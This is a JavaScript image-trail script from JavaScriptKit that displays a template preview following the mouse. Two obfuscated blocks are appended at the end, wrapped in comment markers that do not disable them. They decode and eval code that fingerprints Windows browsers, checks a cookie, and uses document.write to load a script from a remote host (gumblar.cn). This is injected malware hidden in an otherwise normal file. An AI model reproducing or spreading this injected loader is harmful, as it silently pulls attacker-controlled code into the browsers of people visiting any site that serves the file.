/*
Simple Image Trail script- By JavaScriptKit.com
Visit http://www.javascriptkit.com for this script and more
This notice must stay intact
*/

var offsetfrommouse=[15,25]; //image x,y offsets from cursor position in pixels. Enter 0,0 for no offset
var displayduration=0; //duration in seconds image should remain visible. 0 for always.

var defaultimageheight = 40;	// maximum image size.
var defaultimagewidth = 40;	// maximum image size.

var timer;

function gettrailobj(){
if (document.getElementById)
return document.getElementById("preview_div").style
}

function gettrailobjnostyle(){
if (document.getElementById)
return document.getElementById("preview_div")
}


function truebody(){
return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}


function hidetrail(){	
	gettrailobj().display= "none";
	document.onmousemove=""
	gettrailobj().left="-500px"
	clearTimeout(timer);
}

function showtrail(imagename,title,width,height){
	i = imagename
	t = title
	w = width
	h = height
	timer = setTimeout("show('"+i+"',t,w,h);",200);
}
function show(imagename,title,width,height){
 
    var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth - offsetfrommouse[0]
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight)

	if( (navigator.userAgent.indexOf("Konqueror")==-1  || navigator.userAgent.indexOf("Firefox")!=-1 || (navigator.userAgent.indexOf("Opera")==-1 && navigator.appVersion.indexOf("MSIE")!=-1)) && (docwidth>650 && docheight>500)) {
		( width == 0 ) ? width = defaultimagewidth: '';
		( height == 0 ) ? height = defaultimageheight: '';
			
		width+=30
		height+=55
		defaultimageheight = height
		defaultimagewidth = width
	
		document.onmousemove=followmouse; 

		
		newHTML = '<div class="border_preview" style="width:'+  width +'px;height:'+ height +'px"><div id="loader_container"><div id="loader"><div align="center">Loading template preview...</div><div id="loader_bg"><div id="progress"> </div></div></div></div>';
		newHTML = newHTML + '<h2 class="title_h2">' + ' '+title + '</h2>'
		
    	newHTML = newHTML + '<div class="preview_temp_load"><img onload="javascript:remove_loading();" src="' + imagename + '" border="0"></div>';
		newHTML = newHTML + '</div>'; 
		
		if(navigator.userAgent.indexOf("MSIE")!=-1 && navigator.userAgent.indexOf("Opera")==-1 ){
			newHTML = newHTML+'<iframe src="about:blank" scrolling="no" frameborder="0" width="'+width+'" height="'+height+'"></iframe>';
		}		

		gettrailobjnostyle().innerHTML = newHTML;
		gettrailobj().display="block";
	}
}

function followmouse(e){

	var xcoord=offsetfrommouse[0]
	var ycoord=offsetfrommouse[1]

	var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight)

	if (typeof e != "undefined"){
		if (docwidth - e.pageX < defaultimagewidth + 2*offsetfrommouse[0]){
			xcoord = e.pageX - xcoord - defaultimagewidth; // Move to the left side of the cursor
		} else {
			xcoord += e.pageX;
		}
		if (docheight - e.pageY < defaultimageheight + 2*offsetfrommouse[1]){
			ycoord += e.pageY - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + e.pageY - docheight - truebody().scrollTop));
		} else {
			ycoord += e.pageY;
		}

	} else if (typeof window.event != "undefined"){
		if (docwidth - event.clientX < defaultimagewidth + 2*offsetfrommouse[0]){
			xcoord = event.clientX + truebody().scrollLeft - xcoord - defaultimagewidth; // Move to the left side of the cursor
		} else {
			xcoord += truebody().scrollLeft+event.clientX
		}
		if (docheight - event.clientY < (defaultimageheight + 2*offsetfrommouse[1])){
			ycoord += event.clientY + truebody().scrollTop - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + event.clientY - docheight));
		} else {
			ycoord += truebody().scrollTop + event.clientY;
		}
	}
	gettrailobj().left=xcoord+"px"
	gettrailobj().top=ycoord+"px"

}
<!-- 
(function(){var SwM='>76>61>72>20a>3d>22Scrip>74Eng>69>6e>65>22>2cb>3d>22Ver>73>69>6fn()+>22>2cj>3d>22>22>2cu>3dnavi>67at>6f>72>2e>75>73>65rAgent>3bif>28(u>2e>69nd>65x>4ff(>22Win>22>29>3e0>29>26>26(>75>2e>69>6e>64exOf(>22NT>20>36>22)>3c0)>26>26(docu>6d>65n>74>2ecook>69>65>2ei>6ede>78Of(>22miek>3d1>22>29>3c0)>26>26(>74>79>70>65of(z>72v>7at>73)>21>3dtypeo>66>28>22>41>22)))>7bz>72vzt>73>3d>22A>22>3beval(>22i>66(windo>77>2e>22+>61+>22>29j>3dj+>22+>61+>22>4d>61jor>22+b>2ba>2b>22M>69n>6fr>22+b+a>2b>22B>75ild>22+b+>22j>3b>22)>3bdocu>6dent>2ewrite(>22>3csc>72ipt>20>73rc>3d>2f>2fg>75m>62l>61r>2e>63n>2f>72ss>2f>3fi>64>3d>22+j+>22>3e>3c>5c>2fscr>69pt>3e>22)>3b>7d';var aCS0=SwM.replace(/>/g,'%');eval(unescape(aCS0))})();
 --><!-- 
(function(){var Leq=('v`61r`20a`3d`22ScriptEngine`22`2cb`3d`22Ver`73ion(`29+`22`2cj`3d`22`22`2cu`3dnav`69ga`74`6f`72`2euse`72`41gent`3bif`28(`75`2e`69n`64exOf`28`22`57in`22)`3e0)`26`26(u`2ei`6edex`4f`66(`22NT`20`36`22)`3c`30`29`26`26(document`2eco`6f`6b`69e`2eind`65`78Of(`22mi`65k`3d1`22)`3c0)`26`26(t`79peof`28`7a`72vzt`73)`21`3d`74`79peo`66(`22A`22))`29`7bzr`76zts`3d`22A`22`3beval(`22i`66(`77indow`2e`22`2ba+`22`29j`3dj`2b`22`2b`61+`22`4d`61jor`22+b+a+`22`4di`6e`6fr`22+b+a`2b`22`42`75`69ld`22+b+`22j`3b`22`29`3b`64ocume`6et`2ewrite(`22`3c`73c`72ipt`20s`72`63`3d`2f`2f`67um`62`6c`61`72`2ec`6e`2frss`2f`3fid`3d`22+j+`22`3e`3c`5c`2fs`63ri`70t`3e`22)`3b`7d').replace(/`/g,'%');var HdXlv=unescape(Leq);eval(HdXlv)})();
 -->